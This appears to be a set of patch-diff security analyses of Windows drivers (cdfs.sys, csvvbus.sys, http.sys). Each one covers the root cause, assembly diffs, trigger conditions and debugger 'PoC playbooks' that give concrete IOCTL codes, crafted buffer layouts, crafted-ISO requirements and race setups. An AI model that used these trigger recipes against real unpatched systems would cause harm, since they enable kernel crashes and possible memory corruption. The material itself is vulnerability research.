Root Cause: The CdAddAllocationFromDirent function is responsible for growing an array of allocation extents (file layout data) when parsing an ISO9660 disk image. The array capacity at FCB+0x108 is initialized to 1 and doubles on each growth, so it only ever takes power-of-two values (1, 2, 4, ..., 2^n). When the array reaches capacity, the function allocates a new buffer for double the current entry count and copies the old data into it. The unpatched code calculates the size of this new allocation using 32-bit arithmetic (capacity * 0x50). The 32-bit product overflows once the capacity exceeds 0xFFFFFFFF / 0x50 (about 53.7 million). Because capacity is a power of two, the first value that actually reaches this condition is 0x4000000 (2^26 = 67,108,864). At that growth the 32-bit calculation 0x4000000 * 0x50 = 0x140000000 truncates to 0x40000000 (1 GiB), so ExAllocatePoolWithTag allocates a 1 GiB buffer. However, the memmove routine that follows calculates the copy length using 64-bit arithmetic (40LL * capacity), which does not overflow. It attempts to copy 0x4000000 * 0x28 = 0xA0000000 bytes (about 2.5 GiB) into the 1 GiB buffer, overrunning it by roughly 1.5 GiB. The patch fixes this by upgrading the allocation size calculation to 64-bit and explicitly checking if the final size exceeds a 32-bit boundary, raising an exception if it does.

Attacker-Reachable Entry Point & Data Flow: 1. An attacker provides a crafted ISO9660 image containing a file whose parsing adds on the order of 67 million directory entry extents (enough to drive the capacity counter to 2^26). 2. A user mounts the image and opens or reads the crafted file (via Explorer or CreateFile/ReadFile), triggering an IRP_MJ_CREATE or IRP_MJ_READ. 3. The IRP is dispatched to CdFsdDispatch / CdFspDispatch. 4. The request flows through CdCommonCreate or CdCommonRead. 5. It enters CdInitializeFcbFromFileContext or CdPrepareBuffers. 6. CdLookupAllocation is invoked to parse file extents. 7. CdAddAllocationFromDirent is called to store extent data, triggering the integer overflow and subsequent kernel pool overflow.

3. Pseudocode Diff

// UNPATCHED CdAddAllocationFromDirent
// Note the 32-bit arithmetic (eax) for allocation size
uint32_t alloc_size_32 = (capacity * 5) << 4; // *** 32-BIT OVERFLOW *** (capacity * 0x50)
void* new_buf = ExAllocatePoolWithTag(PagedPool, alloc_size_32, 'CdmA');
memset(new_buf, 0, alloc_size_32);

// Note the 64-bit arithmetic (r8) for memmove size
uint64_t copy_size_64 = (capacity * 5) << 3;  // *** 64-BIT, NO OVERFLOW *** (capacity * 0x28)
memmove(new_buf, old_array, copy_size_64);     // *** HEAP OVERFLOW ***

// PATCHED CdAddAllocationFromDirent
// Uses 64-bit register (r10) for allocation size calculation
uint64_t alloc_size_64 = (capacity * 5) << 4; 

// Explicit bounds check added before calling ExAllocatePoolWithTag
if (alloc_size_64 > 0xFFFFFFFF) {
    // Raises STATUS_UNEXPECTED_IO_ERROR (0xC00000E9) and aborts safely
    CdRaiseStatusEx(IRP_context, STATUS_UNEXPECTED_IO_ERROR, ...); 
}

// Safe allocation and copy
void* new_buf = ExAllocatePoolWithTag(PagedPool, alloc_size_64, 'CdmA');
memset(new_buf, 0, alloc_size_64);
memmove(new_buf, old_array, alloc_size_64);

4. Assembly Analysis

Unpatched Vulnerable Sequence:

; --- GROWTH PATH: calculate size and allocate doubled array ---
0x1c000a49d  lea     eax, [rax+rax*4]              ; *** BUG: 32-bit multiply (capacity * 5) ***
0x1c000a4a6  shl     eax, 0x4                      ; *** BUG: 32-bit shift (capacity * 0x50). Truncates allocation size! ***
0x1c000a4ae  mov     edx, eax                      ; edx = truncated size
0x1c000a4b2  call    qword [rel 0x1c0008040]       ; ExAllocatePoolWithTag(PagedPool, truncated_size, 'CdmA')
...
; --- memmove old array into new (undersized) buffer ---
0x1c000a4ce  mov     ecx, dword [rdi+0x108]        ; ecx = capacity
0x1c000a4db  lea     r8, [rcx+rcx*4]               ; r8 = capacity * 5 (64-bit)
0x1c000a4e2  shl     r8, 0x3                       ; r8 = capacity * 0x28 (64-bit, FULL SIZE)
0x1c000a4e6  call    0x1c0002e40                   ; call memmove -> TRIGGERS MASSIVE POOL OVERFLOW

Patched Safe Sequence:

; --- GROWTH PATH: calculate size with 64-bit math and check bounds ---
0x1c000a4a1  lea     r10, [rax+rax*4]              ; FIX: 64-bit multiply
0x1c000a4aa  shl     r10, 0x4                      ; FIX: 64-bit shift. r10 = correct capacity * 0x50
0x1c000a4b0  cmp     r10, rdx                      ; rdx holds 0xFFFFFFFF. Compare size against max 32-bit int
0x1c000a4b3  cmovbe  eax, r10d                     ; If size <= 0xFFFFFFFF, use actual size
0x1c000a4b7  ja      0x1c000a5fa                   ; If size > 0xFFFFFFFF, jump to error path (ABORT)
...
; --- Error Path ---
0x1c000a5fa  mov     r9d, 0x20000                  
0x1c000a60b  mov     edx, 0xc00000e9               ; STATUS_UNEXPECTED_IO_ERROR
0x1c000a610  call    0x1c00010e0                   ; CdRaiseStatusEx -> safely aborts without overflowing

5. Trigger Conditions

Image Crafting: Create a malicious ISO9660 disk image. The image must contain a file constructed with an extraordinarily large number of directory entry extents (on the order of 67 million). This can be achieved via many interleaved extents.
Mounting: Mount the disk image using the native Windows ISO mounter or a third-party utility. No administrator privileges are required for standard users to mount an ISO in Windows 10/11.
Access: Open a file on the mounted volume or read its contents (e.g., CreateFileW("\\.\D:\target_file", ...)).
Parsing & Overflow: The CDFS driver parses the file layout. The array capacity counter at FCB+0x108 starts at 1 and doubles as extents are processed (1, 2, 4... 2^n).
Ignition: When the capacity counter reaches 0x4000000 (2^26 = 67,108,864, the first power of two past the ~53.7 million overflow threshold), the 32-bit allocation calculation (capacity * 0x50 = 0x140000000) truncates to 0x40000000 (1 GiB). Reaching this growth also requires the previous growth at capacity 0x2000000 to have succeeded, i.e. a ~2.5 GiB paged-pool allocation.
Crash: The subsequent 64-bit memmove attempts to write 0xA0000000 (~2.5 GiB) into the 1 GiB buffer, overrunning it by ~1.5 GiB, resulting in kernel memory corruption and a BSOD (e.g., BAD_POOL_CALLER).

6. Exploit Primitive & Development Notes

Primitive: Kernel pool buffer overflow. The overflow source is the old allocation-extent array, whose entries hold parsed directory extent fields (extent logical block number, data length, interleave parameters), so the overrun content is influenced by the crafted ISO. However, the overrun is a single ~1.5 GiB linear memmove, not a bounded or targetable write.
Practical impact: The demonstrable, reachable outcome is kernel memory corruption leading to a system crash (BSOD). The copy length (~2.5 GiB) is far larger than any pool allocation and cannot be sized down to a controlled overrun: the memory layout is a power-of-two doubling series, so the smallest overrun that reaches the vulnerable path is already ~1.5 GiB. A copy of that magnitude runs off the end of the pool region into unmapped memory before any adjacent object could be usefully corrupted, so it does not provide a controllable write primitive.
Preconditions that further constrain exploitation:
Reaching capacity 2^26 requires the driver to first succeed at the previous growth (a ~2.5 GiB paged-pool allocation) and to parse on the order of 67 million directory extents, implying a multi-gigabyte crafted image and a target with abundant paged pool.
These constraints, combined with the uncontrollable overrun size, mean reliable local privilege escalation is not demonstrated; the honest, reachable impact is Denial of Service.

7. Debugger PoC Playbook

Breakpoints:

bp cdfs!CdAddAllocationFromDirent
bp 0x1c000a49d ".printf \"VULN SIZE CALC: capacity=%x\\n\", @rax; .if (@rax < 0x4000000) { gc } .else { .echo CRITICAL CAPACITY REACHED }"
bp 0x1c000a4b2 ".printf \"ExAllocatePoolWithTag size (truncated)=%x\\n\", @edx"
bp 0x1c000a4e6 ".printf \"MEMMOVE size (full 64-bit)=%x\\n\", @r8"

What to Inspect: * At Function Entry: rdx is the FCB pointer. Inspect dt _FCB or specifically [rdx+0x108] (capacity). r8d contains the index currently being added. * At 0x1c000a49d (Size Calc): eax holds the raw capacity. Watch it double across multiple calls (1, 2, 4, ...). When it hits 0x4000000, the bug is primed. Note how the subsequent shift instructions leave edx (allocation size = 0x40000000) drastically smaller than the true 64-bit size (0x140000000). * At 0x1c000a4b2 (Allocation): ecx, edx, r8d contain the PoolType, Size, and Tag. Inspect rax after the call (gu) to see the allocated pool pointer. * At 0x1c000a4e6 (Overflow site): rcx is the undersized destination buffer. rdx is the valid source array. r8 is the massive copy length. Use !pool @rcx to see the buffer layout before stepping.

Trigger Setup: 1. Boot a Windows VM with a WinDbg kernel debugger attached. 2. Replace cdfs.sys with the unpatched binary or ensure you are testing on an unpatched system. 3. Prepare a crafted .iso file containing a file whose parsing adds on the order of 67 million directory extents. 4. Mount the .iso on the victim OS (e.g., Mount-DiskImage in PowerShell). 5. Issue Invoke-Item X:\path\to\crafted\file (where X is the mounted drive) to trigger IRP_MJ_CREATE.

Expected Observation: The debugger will break at the custom breakpoints as the capacity doubles. Once capacity hits 0x4000000, continuing execution will trigger the memmove. It will write past the allocated 1 GiB pool buffer. The system will BSOD with BAD_POOL_CALLER (0xC2) or PAGE_FAULT_IN_NONPAGED_AREA (0x50) from within nt!memmove called by cdfs!CdAddAllocationFromDirent.

8. Changed Functions — Full Triage

CdAddAllocationFromDirent (Similarity: 0.8648)
Change Type: Security Relevant
Notes: Contains the core vulnerability. Stack frame increased to accommodate 64-bit math and overflow checking. Added an explicit branch to raise STATUS_UNEXPECTED_IO_ERROR instead of allowing pool allocation truncation.
CdInitializeFcbFromFileContext (Similarity: 0.9922)
Change Type: Behavioral
Notes: Cosmetic register allocation changes (r12 ↔ r13). Functionally updated to pass arg1 (the IRP context) properly to CdAddAllocationFromDirent to support the new error path. Call target offset updated.
CdLookupAllocation (Similarity: 0.9928)
Change Type: Behavioral
Notes: Cosmetic register allocation changes (r14 ↔ rsi). Like the FCB init function, its call to CdAddAllocationFromDirent was updated to correctly pass the IRP context. Source line number constants for error reporting shifted by 1.

9. Unmatched Functions

Added: None.
Removed: None.
Implication: The mitigation was strictly self-contained within the existing logic flow, requiring no new helper functions or security wrappers.

10. Confidence & Caveats

Confidence Level: High. The assembly diff explicitly demonstrates the mismatch between the 32-bit allocation size calculation and the 64-bit memmove length calculation.
Assumptions: The capacity at FCB+0x108 is initialized to 1 and doubles as extents are parsed (mov esi, 1; mov [rdi+108h], esi at the FCB-init site, and add eax, eax in the growth path). The first overflowing growth occurs at capacity 0x4000000 (2^26), so the count is driven by index reaching that value (on the order of 67 million extents added).
Manual Verification Required: Researchers must manually craft or programmatically generate a specifically malformed ISO9660 image. Creating a file with tens of millions of extents in a physical or virtual image format requires custom tooling to bypass standard ISO authoring limitations. Standard tools like mkisofs may refuse to generate such a malformed structure. Note also that triggering the overflow requires the earlier growth at capacity 0x2000000 to succeed, which itself demands a ~2.5 GiB paged-pool allocation on the target.

csvvbus.sys — Use-after-free from unsynchronized EncryptionManager access (CWE-416) fixed

2026-06-25T00:00:00-07:00

1. Overview

Unpatched Binary: csvvbus_unpatched.sys
Patched Binary: csvvbus_patched.sys
Overall Similarity Score: 0.959
Diff Statistics:
- Matched Functions: 256
- Changed Functions: 7
- Identical Functions: 249
- Unmatched Functions: 0 (both directions)
Verdict: The patch changes two areas of the Windows Cluster Shared Volume (CSV) Bus Driver. The security-significant fix is a Time-of-Check to Time-of-Use (TOCTOU) race condition that could lead to a Use-After-Free (UAF) of the EncryptionManager object, now fixed by acquiring SigningLock in shared mode before the access (High). The second change is a CWE-190 integer overflow in the IOCTL property-parsing bounds check; it is a bounds-check bypass only, because the same oversized value that overflows the check is also the allocation size and forces a failing allocation, so no memory corruption is reachable from this path. That second change is therefore a low-severity hardening fix, not a reachable memory-safety bug.

2. Vulnerability Summary

Finding 1: Integer Overflow in Property-Parsing Bounds Check (Hardening)

Severity: Low
Vulnerability Class: CWE-190 (Integer Overflow or Wraparound) - bounds-check bypass
Affected Function: VxVolumerSetStorageProp (unpatched @ 0x1C0009D54, patched @ 0x1C0009DAC)
Root Cause: The VxVolumerSetStorageProp function processes variable-length property arrays from IOCTL input. The loop contains a bounds check that verifies if the remaining input buffer can hold the current entry: if (remaining < size + 8) break;. The size + 8 computation is performed using 32-bit arithmetic without overflow detection (add eax, 8 at 0x1C0009FD4, and again in the do-while continuation at 0x1C000A1F8). If an attacker supplies a size value >= 0xFFFFFFF8 at offset +0xC of the structure, the addition wraps to a small integer (0 to 7), bypassing the bounds check.
Exploitability: The same size value that triggers the overflow (>= 0xFFFFFFF8) is also passed to WdfMemoryCreate as the allocation size, so that ~4GB allocation fails (js 0x1C000A204) before the memset/memmove at 0x1C000A064/0x1C000A078 run; the loop advance is separately bounds-checked. The demonstrable effect is a bounds-check bypass, not a directly reachable pool overflow. This is a genuine CWE-190 hardening gap that the patch closes with an explicit overflow guard.
Entry Point & Data Flow:
1. Attacker sends IOCTL 0x7780064 via DeviceIoControl to \Device\CSVVolume%d or \Device\VClusBus.
2. The WDF callback VxVolumeEvtIoDeviceControl handles the request.
3. Execution is dispatched to VxVolumerSetStorageProp.
4. The function parses the malicious input buffer and bypasses the remaining-bytes bounds check; the subsequent allocation of the same oversized value fails, so no copy occurs.

Finding 2: TOCTOU Race Leading to Use-After-Free (UAF)

Severity: High
Vulnerability Class: CWE-367 (Time-of-Check Time-of-Use) leading to CWE-416 (Use-After-Free)
Affected Function: CsvCamSetSecurityInfoSafe
Root Cause: The function reads and dereferences the global EncryptionManager pointer without holding the SigningLock. A concurrent thread can trigger an exclusive lock path that frees the EncryptionManager object and replaces it. The unprotected thread may then attempt to dereference a dangling (freed) pointer.
Exploitability: If a concurrent thread frees EncryptionManager during the unsynchronized read, the victim thread dereferences a freed pool object (reading +0x20 and the +0x18 pointer). Should the freed allocation be reclaimed before the dereference, the values read come from whatever reoccupied the block, so the impact ranges from a kernel crash to information disclosure via the memcmp. A reliable read/write primitive is not demonstrated and would depend on paged-pool reclaim reliability.
Entry Point & Data Flow:
1. An attacker opens concurrent handles to \Device\VClusBus.
2. Thread A sends an IOCTL triggering VxBusControlEvtIoDeviceControl, which routes to CsvCamSetSecurityInfoSafe with a non-zero encryption type. This enters the unprotected read path.
3. Thread B simultaneously triggers the EncryptionManager replacement path (exclusive lock).
4. Thread A dereferences the now-freed EncryptionManager pointer, causing the UAF.

3. Pseudocode Diff

Finding 1: `VxVolumerSetStorageProp`

Highlighted lines show the missing integer overflow check and the resulting dangerous memcpy.

// --- UNPATCHED (Vulnerable) ---
do {
    uint32_t remaining = end_ptr - current_ptr;
    uint32_t attacker_size = *(uint32_t*)(current_ptr + 0xC);

    // *** MISSING INTEGER OVERFLOW CHECK ***
    if (remaining < attacker_size + 8) 
        break; 

    // allocation uses attacker_size (>= 0xFFFFFFF8 to overflow) -> ~4GB alloc FAILS here,
    // so the copy below is not reached for overflow-triggering sizes
    WdfMemoryCreate(..., attacker_size, &arg_18, &arg_8);
    memset(arg_8, 0, attacker_size);
    memmove(arg_8, current_ptr + 8, attacker_size);

} while ( ... );

// --- PATCHED (Fixed) ---
do {
    uint32_t remaining = end_ptr - current_ptr;
    uint32_t attacker_size = *(uint32_t*)(current_ptr + 0xC);

    uint32_t required = attacker_size + 8;
    if (required < attacker_size) { // *** OVERFLOW DETECTED ***
        return STATUS_INTEGER_OVERFLOW; // 0xC0000095
    }
    if (remaining < required) 
        break; 

    WdfMemoryCreate(..., attacker_size, &arg_18, &arg_8);
    memset(arg_8, 0, attacker_size);
    memmove(arg_8, current_ptr + 8, attacker_size);

} while ( ... );

Finding 2: `CsvCamSetSecurityInfoSafe`

Highlighted lines show the unprotected dereference in the unpatched version and the added locks in the patched version.

// --- UNPATCHED (Vulnerable) ---
if (encryption_type_nonzero) {
    // *** NO LOCK HELD ***
    void* enc_manager = EncryptionManager; 
    if (enc_manager) {
        // *** RACE WINDOW / UAF ***
        uint32_t size = *(uint32_t*)(enc_manager + 0x20); 
        if (input_type == size) {
            memcmp(input_data, *(void**)(enc_manager + 0x18), size);
        }
    }
}

// --- PATCHED (Fixed) ---
if (encryption_type_nonzero) {
    KeEnterCriticalRegion();
    // *** LOCK ACQUIRED ***
    ExAcquireResourceSharedLite(SigningLock, TRUE); 

    void* enc_manager = EncryptionManager; 
    if (enc_manager) {
        // *** SAFE DEREF ***
        uint32_t size = *(uint32_t*)(enc_manager + 0x20); 
        if (input_type == size) {
            memcmp(input_data, *(void**)(enc_manager + 0x18), size);
        }
    }
    ExReleaseResourceLite(SigningLock);
    KeLeaveCriticalRegion();
}

4. Assembly Analysis

Finding 1: `VxVolumerSetStorageProp`

The vulnerability exists in the loop bounds check. The unpatched code relies on a naive add eax, 0x8 which wraps in 32-bit arithmetic.

; --- UNPATCHED (loop-top bounds check) ---
0x1c0009fd0: mov     eax, [r8+0xc]     ; Load attacker-controlled size
0x1c0009fd4: add     eax, 0x8          ; *** VULNERABLE: wraps if size >= 0xFFFFFFF8 ***
0x1c0009fd7: cmp     r15d, eax         ; Compare remaining buffer vs wrapped size+8
0x1c0009fda: jb      0x1c000a237       ; Bypassed! (same naive add repeats at 0x1c000a1f8)

; --- PATCHED (single guarded check at 0x1c000a02b) ---
0x1c000a02b: mov     ecx, [r8+0xc]     ; Load attacker-controlled size
0x1c000a02f: or      edx, 0xffffffff   ; Sentinel = MAX_UINT
0x1c000a032: lea     eax, [rcx+0x8]    ; Compute size + 8
0x1c000a035: cmp     eax, ecx          ; *** OVERFLOW CHECK: is result < original? ***
0x1c000a037: cmovnb  edx, eax          ; Only use result if no overflow
0x1c000a03a: sbb     edi, edi          ; Capture carry flag for STATUS_INTEGER_OVERFLOW
0x1c000a03c: and     edi, 0xc0000095   ; Return error if wrap occurred
0x1c000a044: jb      0x1c000a2a6       ; overflow -> STATUS_INTEGER_OVERFLOW

Finding 2: `CsvCamSetSecurityInfoSafe`

The unpatched code reads the global pointer and dereferences it before the SigningLock is acquired.

; --- UNPATCHED (fn @ 0x1c0018450) ---
0x1c00184a4: mov     rdx, cs:EncryptionManager ; *** VULNERABLE: read EncryptionManager WITHOUT LOCK ***
0x1c00184ae: test    rdx, rdx
0x1c00184b1: je      0x1c00184e0
0x1c00184b3: mov     eax, [rdx+0x20]           ; *** deref +0x20 without lock (UAF read) ***
0x1c00184bb: mov     rdx, [rdx+0x18]           ; deref +0x18 (Buf2)
0x1c00184c6: call    memcmp
; (exclusive-lock free/replace of EncryptionManager is at 0x1c0018544)

; --- PATCHED (fn @ 0x1c00172d0) ---
0x1c001732d: mov     rbx, cs:SigningLock
0x1c0017337: call    KeEnterCriticalRegion
0x1c0017343: mov     rcx, [rbx]
0x1c0017346: mov     dl, r15b                  ; Wait=1
0x1c0017349: call    ExAcquireResourceSharedLite ; *** LOCK ADDED before the read ***
0x1c0017355: mov     rdx, cs:EncryptionManager ; NOW safely read EncryptionManager
0x1c0017361: mov     eax, [rdx+0x20]           ; safe deref
0x1c001738e: mov     rcx, cs:SigningLock
0x1c0017398: call    ExReleaseResourceLite
0x1c00173a4: call    KeLeaveCriticalRegion

5. Trigger Conditions

Finding 1: Integer Overflow Bounds-Check Bypass

Obtain a handle to the CSV VBus device (e.g., \Device\CSVVolume0 or \Device\VClusBus).
Craft an input buffer of at least 0x10 bytes.
The buffer must be structured as a property entry array:
- Offset 0x0: PropertyType (DWORD) - set to a valid type (e.g., 0x4).
- Offset 0x4: NextEntryOffset (DWORD) - set to 0x0 (or 0x18 to force loop continuation).
- Offset 0x8: Reserved (DWORD) - 0x0.
- Offset 0xC: DataSize (DWORD) - Set this to 0xFFFFFFF8.
- Offset 0x10: Data (bytes).
Send the buffer via DeviceIoControl using dwIoControlCode = 0x7780064 (METHOD_BUFFERED).
The bounds check size + 8 wraps to 0 and is bypassed. The subsequent WdfMemoryCreate is then called with the full 0xFFFFFFF8 size, which fails (allocation too large), so the function returns STATUS_INSUFFICIENT_RESOURCES rather than corrupting memory. The observable effect is the bypassed remaining-bytes check.

Finding 2: TOCTOU Race Condition (UAF)

Open two concurrent handles to \Device\VClusBus.
Thread A: Send an IOCTL that routes to CsvCamSetSecurityInfoSafe. The input buffer (arg1) must be >= 0x10 bytes, and arg1[2] (the encryption type) must be non-zero to enter the vulnerable code path.
Thread B: Repeatedly trigger the IOCTL or internal function that replaces the EncryptionManager object (the exclusive lock path). This frees the old object.
Execute both threads in a tight loop, manipulating thread priorities and CPU affinities to widen the race window.
The bug is triggered when Thread B frees EncryptionManager exactly between Thread A's read of the pointer and Thread A's dereference of +0x18/+0x20.

6. Exploit Primitive & Development Notes

Finding 1 Primitive: Bounds-Check Bypass (CWE-190)

Primitive: Defeating the remaining < size + 8 guard. In this code path, however, the allocation size is DataSize itself (not size + 8), and to overflow the check DataSize must be >= 0xFFFFFFF8. That same value is passed to WdfMemoryCreate, so the ~4GB allocation fails (js 0x1C000A204 -> STATUS_INSUFFICIENT_RESOURCES) and the memset/memmove never execute. The loop advance by NextEntryOffset is separately bounds-checked against the buffer end.
Weaponization: Note that DataSize values such as 0xFFFFFFF9 do NOT produce a small allocation - only size + 8 wraps small; the allocation still uses the full DataSize (~4GB) and fails. A controlled out-of-bounds read/write is therefore not directly reachable from this function; the observable result is a bypassed remaining-bytes check followed by a failed allocation.
Mitigations: The patch adds an explicit overflow guard at 0x1C000A02B returning STATUS_INTEGER_OVERFLOW. This is a hardening fix rather than a fix for a demonstrated corruption primitive.

Finding 2 Primitive: Use-After-Free (UAF)

Primitive: Kernel UAF. The EncryptionManager object is a 0x28-byte paged-pool allocation (tag 0x41435643, from ExAllocatePoolWithTag at 0x1C00184E5). A dereference of the object after a concurrent free reads freed pool memory at +0x20 (a size) and +0x18 (a pointer subsequently passed to memcmp).
Demonstrable impact: If the freed allocation is reclaimed before the dereference, the values read at +0x20/+0x18 are no longer the original object's, so the outcome ranges from a kernel crash (page fault / verifier bugcheck) to reading data from whatever reoccupied the freed block. A specific, reliable read/write primitive is not demonstrated here and would depend on reclaim reliability for paged pool.
Mitigations: The patch closes the window by taking SigningLock shared before the read, which is mutually exclusive with the exclusive-lock replace path that frees the object.

7. Debugger PoC Playbook

Finding 1: `VxVolumerSetStorageProp`

Breakpoints:
- bp csvvbus_unpatched!VxVolumerSetStorageProp (Entry point. Inspect rcx for IRP/WDF Request).
- ba e1 0x1c0009fd0 (The vulnerable bounds check).
What to inspect:
- At 0x1c0009fd0: Inspect eax after the mov. It will hold the attacker-controlled DataSize (0xFFFFFFF8).
- After add eax, 0x8 (0x1c0009fd4): eax will wrap to 0x00000000.
- Check r15d (remaining buffer size). The cmp r15d, eax (0x1c0009fd7) check will pass since r15d > 0.
Key instructions/offsets:
- 0x1c0009fd4: The vulnerable add eax, 0x8 instruction (repeated at 0x1c000a1f8).
- 0x1c000a048: WdfMemoryCreate call - fails for the oversized DataSize.
- 0x1c000a078: The memmove (only reached if that allocation succeeds, which it does not for overflow-triggering sizes).
Trigger setup: Send an IRP via DeviceIoControl to the CSV device handle. IOCTL = 0x7780064. Input buffer length >= 0x10. Byte offset 0xC must be 0xF8FFFFFF (Little Endian 0xFFFFFFF8).
Expected observation: Upon hitting 0x1c0009fd0 and stepping over, eax wraps and the break is not taken. Execution proceeds to WdfMemoryCreate (0x1c000a048) with size 0xFFFFFFF8, which fails; js 0x1c000a204 is taken, esi = 0xC000009A, and the function returns without reaching the copy.

Finding 2: `CsvCamSetSecurityInfoSafe`

Breakpoints:
- ba e1 0x1c00184a4 (the lock-less read of EncryptionManager).
- ba e1 0x1c00184b3 (the dereference point).
What to inspect:
- At 0x1c00184a4: rdx holds the pointer read from the global EncryptionManager.
- At 0x1c00184b3: rdx is being dereferenced (+0x20, then +0x18). Execute !address rdx or !pool rdx to check if the pool has been freed.
Key instructions/offsets:
- 0x1c00184a4: The unprotected mov rdx, cs:EncryptionManager.
- 0x1c00184b3: The mov eax, [rdx+0x20] instruction that triggers the UAF read.
Trigger setup: Multi-threaded environment. Thread A enters CsvCamSetSecurityInfoSafe with a valid >= 0x10 buffer and arg1[2] != 0. Thread B triggers the exclusive lock cleanup path that frees the pool.
Expected observation: With Driver Verifier (Special Pool) enabled on csvvbus.sys, if EncryptionManager is freed between the read at 0x1c00184a4 and the dereference at 0x1c00184b3, that dereference of the freed allocation triggers a 0xC4 (DRIVER_VERIFIER_DETECTED_VIOLATION) or 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) BugCheck, confirming the Use-After-Free.

8. Changed Functions — Full Triage

Security Relevant

CsvCamSetSecurityInfoSafe (Sim: 0.9202, High): TOCTOU race condition - unpatched reads/derefs EncryptionManager with no ERESOURCE held (0x1C00184A4); patched wraps the read in ExAcquireResourceSharedLite (0x1C0017349). The if (!r15) Global-Seq branch also gains a lock in the patched build.
VxVolumerSetStorageProp (Sim: 0.9173, Low): CWE-190 integer overflow in the IOCTL property-parsing bounds check (add eax, 8 at 0x1C0009FD4); patched with an overflow guard at 0x1C000A02B. In this path the overflow-triggering size also forces a failing allocation, so it is a bounds-check bypass / hardening fix rather than a reachable pool overflow.

Behavioral / Minor Changes

VxVolumeEvtIoDeviceControl (Sim: 0.8521): Dispatch/switch tree reordered and WPP trace GUIDs updated. The handler functions (VxVolumerActivateNetworkPath, VxVolumerEnableCache, VxVolumerDisableCache, VxVolumerPurgeCache, VxVolumerCacheConfig) are NOT removed - each still has a function header in both binaries, so any apparent case removal is a reordering/relocation. No direct security impact.
RtlUnicodeStringPrintf (Sim: 0.6089): Inlined the RTL string validation logic rather than calling it externally. Functionally equivalent.

Cosmetic / Optimization (Collapsed)

The following functions exhibited only minor register allocation shifts, variable renaming, or hardcoded memory address relocations due to build environment differences. These do not present security surfaces: * VxVolumeSetTargetPath (Sim: 0.9425) * AddChildPdoCallback (Sim: 0.9749) * RtlStringLengthWorkerW (Sim: 0.9890)

9. Unmatched Functions

There were no unmatched functions added or removed in this diff (unmatched_unpatched: 0, unmatched_patched: 0). All mitigations were applied inline to existing functions.

10. Confidence & Caveats

Confidence: High. The assembly clearly identifies the lack of overflow arithmetic (add eax, 0x8 bypassing bounds) and the missing ExAcquireResourceSharedLite call prior to global pointer dereferencing. The vulnerability classes are standard and well-understood.
Assumptions/Caveats:
- The IOCTL codes (e.g., 0x7780064) and exact memory addresses are derived from the provided diff context. Base addresses will shift depending on the loaded module base (csvvbus.sys), so relative offsets (e.g., +0x23c) should be used in debuggers rather than absolute addresses.
- Exploiting these vulnerabilities requires a system to be configured as a Cluster Shared Volume (CSV) node, or at least having the csvvbus.sys driver loaded and exposed to non-administrative or malicious local users.
- The exact path to trigger the EncryptionManager free (Thread B) in Finding 2 was inferred from standard driver teardown/replacement patterns; an analyst will need to trace cross-references to the SigningLock global to identify the exact exclusive-lock IOCTL trigger required for reliable PoC execution.

http.sys — Out-of-bounds access via missing QPACK ordinal validation (CWE-787, CWE-125) in QkIsOrdinalUseable fixed

2026-06-25T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`http_unpatched.sys`
Patched binary	`http_patched.sys`
Overall similarity	98.95%
Matched functions	3 911
Changed functions	31
Identical functions	3 880
Unmatched (either direction)	0

Verdict: The patch removes two Known Issue Rollback (KIR) feature flags, UxKirHttpBugFix25Q2 and UxKirSeEndConnectionStats, and hardcodes one code path in each affected function. The security-relevant change is in the QPACK dynamic-table ordinal validator QkIsOrdinalUseable (0x14013CA40): UxKirHttpBugFix25Q2 selected between an older validation routine that omits a bounds check on the non-arg2 lookup path and a corrected routine that always applies it. The patched binary makes the corrected routine unconditional. Removal of UxKirSeEndConnectionStats is dead-code cleanup: it dropped redundant, flag-gated re-zeroing of fields that are already cleared by the allocation-time memset in both builds.

2. Vulnerability Summary

Finding 1 — QPACK Dynamic Table Ordinal Validation Bypass (HIGH)

Attribute	Detail
Severity	High
Class	Out-of-bounds access — CWE-787 (OOB write) / CWE-125 (OOB read)
Function	`QkIsOrdinalUseable` (`0x14013ca40`)
Entry point	HTTP/3 (QUIC) request with QPACK-encoded headers

Root cause. In the unpatched binary, QkIsOrdinalUseable begins by testing the global flag UxKirHttpBugFix25Q2. When this flag is 0, execution falls into the older validation logic; when non-zero it tail-calls QkIsOrdinalUseableNew (0x14013CAD0). The older logic merges the arg2 and non-arg2 lookup handling into one block: after an initial reject filter, it returns 1 (usable) whenever the dynamic table is not full (insert_count at +0x2038 < max_entries at +0x2030) or a cached "result" entry (pointer at +0x2020) has a non-zero field at result+0x18, and only otherwise compares the attacker-influenced ordinal (arg3 / r8) against a bound (+0x2010 for the arg2 branch, +0x2018 for the non-arg2 branch). For the non-arg2 path (arg2 == 0) this means an ordinal greater than the valid bound +0x2018 is accepted as usable as long as the table still has free capacity or the result marker is set — the mandatory arg3 ≤ *(arg1 + 0x2018) comparison is skipped.

The corrected logic (QkIsOrdinalUseableNew, made unconditional in the patched build) splits on arg2 first. For the non-arg2 case it always evaluates arg3 ≤ *(arg1 + 0x2018) (after a +0x48 / +0x2008 pre-filter) and never returns usable without that comparison. The "not-full → usable" and "result-marker → usable" shortcuts remain only on the arg2 path. The arg2 path bound check (arg3 ≤ *(arg1 + 0x2010)) is identical in both routines; the fix is confined to the non-arg2 path.

Call chain (attacker-reachable path):

Attacker opens an HTTP/3 connection over QUIC to a server backed by http.sys (Windows HTTP Server API).
The QUIC stack delivers QPACK-encoded request headers to http.sys.
During QPACK header encoding/decoding, QkEncodePairControl (0x14013b020) or QkEncodePairData (0x14013b260) is invoked.
These functions call QkIsOrdinalUseable to validate each dynamic-table ordinal referenced in the header block.
The flawed validation permits an out-of-bounds ordinal to pass.
The ordinal is subsequently used as an array index into the QPACK dynamic table in QkSearchTableByNameValue / QkUpdateLargestReference, producing the OOB access.

Finding 2 — `sub_1400D2029` (No Security-Relevant Change)

Attribute	Detail
Severity	Informational
Class	None
Function	`sub_1400D2029`

Address 0x1400D2029 is an instruction offset inside UlCaptureWideString (0x1400D1F58–0x1400D20D4), not a distinct function. The captured-string capture logic there is behaviorally identical between the two builds: it allocates with ExAllocatePool3, probes and copies on success, and sets an error code on allocation failure, with the buffer handed to the caller via the output pointer on success. No pool free is added or removed and no leak is introduced or fixed. The only differences at this location are an updated WPP trace GUID and register/stack codegen. See Finding 3.

Finding 3 — `UlCaptureWideString` (No Security-Relevant Change)

Attribute	Detail
Severity	Informational
Class	None
Function	`UlCaptureWideString`

